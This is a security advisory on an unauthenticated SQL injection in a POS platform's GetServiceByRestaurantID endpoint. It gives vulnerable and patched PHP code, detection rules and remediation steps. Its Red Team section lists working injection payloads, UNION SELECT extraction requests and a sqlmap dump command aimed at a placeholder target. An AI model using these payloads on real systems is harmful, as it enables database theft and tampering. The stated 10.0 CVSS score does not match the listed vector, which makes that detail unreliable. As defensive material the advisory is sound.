CVE-2025-52025

Executive Summary

CVE-2025-52025 is a critical SQL Injection vulnerability in the Aptsys gemscms POS Platform backend, specifically within the GetServiceByRestaurantID endpoint. The flaw allows unauthenticated remote attackers to inject arbitrary SQL commands via the id parameter, leading to full data exfiltration, modification, or potential server compromise. As of the advisory date (2025-05-28), no patch has been released by the vendor, and no public exploit code is available. The vulnerability is classified under CWE-89 (SQL Injection) and carries a maximum CVSS v3.1 base score of 10.0 due to network exploitability, no privileges required, and no user interaction.

Supply Chain & Package Security

This vulnerability is not associated with any public package registry (NPM, PyPI, Go, Ruby). It affects a proprietary POS platform (gemscms) deployed on-premise or in private cloud environments. No supply chain artifacts are available for analysis.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not cross trust boundaries.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Full database write/delete access.
• Availability (A): High (H) – Potential denial of service via destructive queries.

Base Score: 10.0 (Critical)
Temporal Score: 9.5 (No patch, no exploit public)
Environmental Score: Varies by deployment (e.g., 9.5 if database is isolated).

Deep Dive & Mechanics

The GetServiceByRestaurantID endpoint is designed to retrieve service records for a given restaurant ID. The vulnerable code directly concatenates the id parameter into a SQL query without sanitization or parameterized statements. For example:

SELECT * FROM services WHERE restaurant_id = " + id + ";

An attacker can submit a crafted id value such as:

1' OR '1'='1' --

This transforms the query into:

SELECT * FROM services WHERE restaurant_id = '1' OR '1'='1' --';

The -- comments out the rest of the query, returning all rows. More advanced payloads can extract data from other tables, modify records, or execute stored procedures.

Key vulnerable component: The backend API handler for GetServiceByRestaurantID (likely in PHP or Node.js).
Root cause: Lack of parameterized queries or input validation.

Vulnerable vs. Patched Code

Vulnerable Code (Example in PHP)

<?php
$id = $_GET['id'];
$query = "SELECT * FROM services WHERE restaurant_id = " . $id;
$result = mysqli_query($conn, $query);
?>

Patched Code (Parameterized Query)

<?php
$id = $_GET['id'];
$stmt = $conn->prepare("SELECT * FROM services WHERE restaurant_id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();
?>

The patched version uses prepared statements, ensuring the id parameter is treated as data, not executable SQL.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running gemscms POS backend with exposed GetServiceByRestaurantID endpoint.
• No authentication required.

Exploitation Steps:

1. Identify the endpoint:

   curl -v "http://target.com/api/GetServiceByRestaurantID?id=1"
   

2. Test for SQL injection:

   curl "http://target.com/api/GetServiceByRestaurantID?id=1'"
   

   Look for database error messages.

3. Extract database version (MySQL example):

   curl "http://target.com/api/GetServiceByRestaurantID?id=1 UNION SELECT @@version,2,3--"
   

4. Dump tables:

   curl "http://target.com/api/GetServiceByRestaurantID?id=1 UNION SELECT table_name,2,3 FROM information_schema.tables--"
   

5. Automated exploitation with sqlmap:

   sqlmap -u "http://target.com/api/GetServiceByRestaurantID?id=1" --batch --dump
   

Lab Setup:

• Deploy a vulnerable instance using Docker (if available) or a local PHP/MySQL environment.
• Simulate the vulnerable code above.
• Use Burp Suite or curl for manual testing.

Blue Team (Defensive)

Detection:

• Monitor for anomalous SQL error messages in logs (e.g., "You have an error in your SQL syntax").
• Alert on requests containing SQL keywords (UNION, SELECT, OR, AND) in the id parameter.
• Use WAF rules to block common SQLi patterns.

Mitigation:

• Immediately apply input validation: allow only numeric values for id.
• Implement parameterized queries (see patched code).
• Restrict database user permissions (e.g., no DROP/INSERT privileges).
• Enable detailed logging for all API requests.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /api/GetServiceByRestaurantID with id parameter containing SQL keywords.
  • Outbound database connections from the web server to unusual IPs (data exfiltration).
• File IOCs:
  • Unexpected files in the web root (e.g., webshells).
  • Modified database records (e.g., admin credentials changed).
• Log IOCs:
  • Database error logs with syntax errors.
  • Web server logs with repeated id=1' or id=1 UNION patterns.

Detection Engineering

YARA Rule

rule CVE_2025_52025_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting GetServiceByRestaurantID endpoint"
        author = "Valters IT"
        date = "2025-05-28"
        reference = "CVE-2025-52025"
    strings:
        $sqli_pattern1 = /id=[0-9]*['\"]\s*(OR|AND|UNION|SELECT|DROP|INSERT|UPDATE|DELETE|--|#)/i
        $sqli_pattern2 = /id=\d*['\"]\s*OR\s+['\"]\d*['\"]\s*=\s*['\"]\d*['\"]/i
        $endpoint = "GetServiceByRestaurantID"
    condition:
        $endpoint and ($sqli_pattern1 or $sqli_pattern2)
}

Sigma Rule

title: SQL Injection Attempt on GetServiceByRestaurantID
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts in the id parameter of the GetServiceByRestaurantID endpoint
author: Valters IT
date: 2025-05-28
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 
            - "GetServiceByRestaurantID?id="
        cs-uri-query|re: 
            - "id=[0-9]*['\"]\\s*(OR|AND|UNION|SELECT|DROP|INSERT|UPDATE|DELETE|--|#)"
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in parameter values (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-52025 SQL Injection Attempt"; flow:to_server; content:"GetServiceByRestaurantID"; http_uri; pcre:"/id=[0-9]*['\"]\s*(OR|AND|UNION|SELECT|DROP|INSERT|UPDATE|DELETE|--|#)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate (Workaround):

   • Deploy a Web Application Firewall (WAF) rule to block requests containing SQL keywords in the id parameter.
   • Restrict network access to the API endpoint (e.g., allow only trusted IPs).
   • Manually validate id parameter to accept only integers.

2. Short-term:

   • Rewrite the vulnerable code using parameterized queries (see patched code).
   • Conduct a full code audit for similar injection points.

3. Long-term:

   • Implement a secure development lifecycle (SDLC) with mandatory input validation.
   • Use an ORM (Object-Relational Mapping) framework to abstract SQL queries.
   • Regularly update and patch all dependencies.

Vendor Contact: Attempt to reach Aptsys via their support channels. If unresponsive, consider migrating to an alternative POS platform.

Valters IT
Cyber Threat Intelligence & DevSecOps
Report generated for CVE-2025-52025